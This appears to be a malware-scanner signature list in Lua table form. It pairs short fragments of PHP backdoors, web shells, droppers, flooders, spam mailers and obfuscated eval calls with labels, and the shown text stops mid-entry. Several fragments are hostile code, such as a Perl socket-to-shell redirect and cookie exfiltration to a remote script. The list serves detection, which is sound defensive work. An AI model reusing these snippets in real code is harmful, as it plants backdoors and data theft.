{ signature = [=[3Turr]=], id = "36d0064ac5c9b279a11bccfeb39efb2ccae968b5", comment = "php backdoors" },
{ signature = [=[$pageparsemini=array_slice($pageparsemini, 0, 5);]=], id = "dfa0aa0c93e9f0a14f278a846a2a0254d0be0a49", comment = "SEO Spam" },
{ signature = [=[a=314759&c=wl_con]=], id = "d64215d5d8e44247ee60d4f3d2c87faec62206d1", comment = "SPAM link bouncer" },
{ signature = [=[move_uploaded_file/*;*/]=], id = "7665eba47ce4641abe6d678f16c69c2d2bdd1443", comment = "file dropper" },
{ signature = [=[send(crazy, 0, $size, sockaddr_in($port, $iaddr));]=], id = "3ad79a33ccfdf3b6ef4b7922fea1960c40a164e6", comment = "perl flooding script" },
{ signature = [=[Content-Length: 42\r\n]=], id = "ff101a89d1c42a2a497816f2807dd6d2b420f87e", comment = "slowloris scripts (content length 42)" },
{ signature = [=[open(STDIN,">&SERVER");]=], id = "3688adb4868852d2a0895ad2b871d6e80fc86408", comment = "perl shell, redirect tcp to system" },
{ signature = [=[]=], id = "df8c8dfb60f253dd7ba1bc0f3c2acb1f0a5e9f19", comment = "spam redirect" },
{ signature = [=[b374k]=], id = "7ffc8bd11adf336b6728efd37b50f8b723c83d14", comment = "string associated with known webshell" },
{ signature = [=[$out .= "OtrasherDDoSTOOL";]=], id = "9f2a3f26397a22e3536cc5fd374adf8bb8dadd0b", comment = "ddos script" },
{ signature = [=[socket_write($socket, "GET http://".$sds."/cpost.php HTTP/1.1\r\nHost: ".$host[0]."\r\nCookie: ".$data."\r\n\r\n");socket_close($socket);}die();}]=], id = "790081f4c93e73261f2b2031a446c3552ae2edfc", comment = "exploitkit related, backdoor dropper" },
{ signature = [=[User-Agent: Internal Wordpress RPC connection]=], id = "d43132b224eb4fb946aaaa402c3c81772cb76fb5", comment = "fake WordPress User-Agent string" },
{ signature = [=[GoTT Attacking]=], id = "f795aa36e7e72485357fc9125487a596a33256eb", comment = "python flooder" },
{ signature = [=[D05TsM2Smfa5Gi5i]=], id = "e0b168da59b57edbc4048c0f02b12bdec84878f0", comment = "php shell related" },
{ signature = [=['#p@$c@#
';]=], id = "3db51a92fde48a8c47f9279e331bd33aac5feb58", comment = "flooder scripts or flooder frontends" },
{ signature = [=[DDOS_MAX_EXECUTION_TIME]=], id = "79d5cd3ab3ad01b1044626cfbda4929ced2d32d3", comment = "flooder scripts or flooder frontends" },
{ signature = [=[www.ZeroDayExile.com]=], id = "f6922d207476d5c3a02b390d37f12766a89785f9", comment = "flooder scripts or flooder frontends" },
{ signature = [=[V.lenovoE125]=], id = "5660b7df4dfe0cfa483cf88628cef08609e941d7", comment = "obfuscated function call" },
{ signature = [=[$wwwPath = realpath($shellDir]=], id = "9c9db349dfcc3752d25d824332b86e40893e838b", comment = "script for doing code injection" },
{ signature = [=[$headers .= "X-Mailer: iGMail [www.ig.com.br]\n";]=], id = "5d3b2b9a0c99aadb1d7a9f146b5042f4613b250e", comment = "mailer" },
{ signature = [=[window.location.href="http://www.slimmingmart.com/"]=], id = "63f205f62136ee2138b4dd3e80f6c603ecbf804a", comment = "javascript redirect, blackhatseo" },
{ signature = [=[Script Upload By Osamaa kaboo]=], id = "5034baf16929b00903537c1b99fa6375fd12fbe5", comment = "file dropper" },
{ signature = [=[[S]uper[BAD] Mailer]=], id = "1aecc546cc211ba6e6ee170a94685a7cddb44fd3", comment = "mailing script forms" },
{ signature = [=[Priv8 Mailer]=], id = "9405b50bd87a61c71e643ecc514cebc6744090c0", comment = "mailing script forms" },
{ signature = [=[Spiral Mailer 2014]=], id = "ea45994c48265069fe9dc50ee10f6a2ff0a2ec1d", comment = "mailing script forms" },
{ signature = [=[PHP Inbox Mailer Web]=], id = "d685686898918546bfc47ceb177ce8bf86d7343c", comment = "mailing script forms" },
{ signature = [=[echo " SYN Flood]=], id = "e01219a6d4d41a5de9e6f50ce86fa8b6b13865b1", comment = "syn flooder script" },
{ signature = [=[sprintf('!ev' . 'al(b' . 'ase' . '64' . '_' . 'de' . 'code' . ' ("%s"))']=], id = "4262bab8c4a1ae205fd1d087818b491e7b3f3138", comment = "clever eval" },
{ signature = [=[edoced_46esab]=], id = "76233a4806d430b39acff7931b2a482ea5f5c52c", comment = "clever eval" },
{ signature = [=[eval("?>".base64_decode("]=], id = "2adc9482267f39a479391bb0dc2b9d32d0de1f2c", comment = "mailers" },
{ signature = [=[-Execute Rootshell.c]=], id = "86ed34f00c5f10f917cdfd3bd32a750f4d007c65", comment = "shells" },
{ signature = [=[$g___g]=], id = "5b4ea07abd39b2a6902991a596bb4c2c72688ad4", comment = "web shells" },
{ signature = [=[:: www.islam-hack.com :: Coded By TaRik King & RiadSP ::]=], id = "1ad2366b0c582a94f8e7bd49d286a637f934daca", comment = "Dropper/shell related" },
{ signature = [=[you dont have SMTP login, leave blank queries above "]=], id = "bb31ac72990069a32e0389441d4c3b37828ba053", comment = "spam scripts" },
{ signature = [=[random_smtp_string=array]=], id = "32e7d608f20fe9265a5da1fe4d72080f3ccd95fb", comment = "spam scripts" },
{ signature = [=[$url = "http://wordpresscore.com/plugins/cctm/update/" . $url;]=], id = "17fd935b520c5150be757e4d9ce82f3288dc8782", comment = "Custom Content Type Manager 0.9.8.8 backdoor" },
{ signature = [=[$password=file_get_contents("http://wordpresscore.com/in/asd456.php");]=], id = "bd198fb4f02e7b0966b097a78489aca1df6165dc", comment = "Custom Content Type Manager 0.9.8.8 backdoor" },
{ signature = [=[3xp1r3 Cyber Army]=], id = "150d461aadba469220553724a2f9cf9414fb4bae", comment = "cPanel bruteforcing script" },
{ signature = [=[Xtreme PuTTy powered]=], id = "faa1df3aa9955749d6493bb5db2df4c703edc2ec", comment = "flooder control script" },
{ signature = [=[pack('H2CnnB16CCna4a4']=], id = "b85407bab2460ace73b122822839b68c1059a5fb", comment = "perl flooder script" },
{ signature = [=[print('@Lord_Mo_Mo attacking:]=], id = "da71ee1b37854f681e791457c0a31743ade67f5e", comment = "python flooder script" },
{ signature = [=[$_GET['wowex']=='activex7']=], id = "e1d54da28551303020c53a89c6ad5587f984ec80", comment = "php file dropper related" },
{ signature = [=[$alqnasshell]=], id = "c24b6f33a0ab84562c0549dda066262bce93126a", comment = "php file dropper related" },
{ signature = [=[if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {']=], id = "c644b025393c817d73a633662c38076487409436", comment = "angler exploit related" },
{ signature = [=[if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match(]=], id = "38af273cb3bd9bab40755da77bed530ac546dfbc", comment = "angler exploit related" },
{ signature = [=[system("$currentCMD]=], id = "2ca8082fc068a6cea783a7617f7466ee41f6a1cd", comment = "shell exec script" },
{ signature = [=[Completed with $packets (" . round(($packets*65)/1024, 2)]=], id = "6a96fa62dbef63e6c52a953322facd3752a104ca", comment = "php flooding script" },
{ signature = [=[$mhost = 'http://www.Vel0zBR.xpg.com.br/Owner?';]=], id = "bdd81f4097f9847513beb09523a4cc1098c39e9e", comment = "PHP backdoor script, unique sentence" },
{ signature = [=[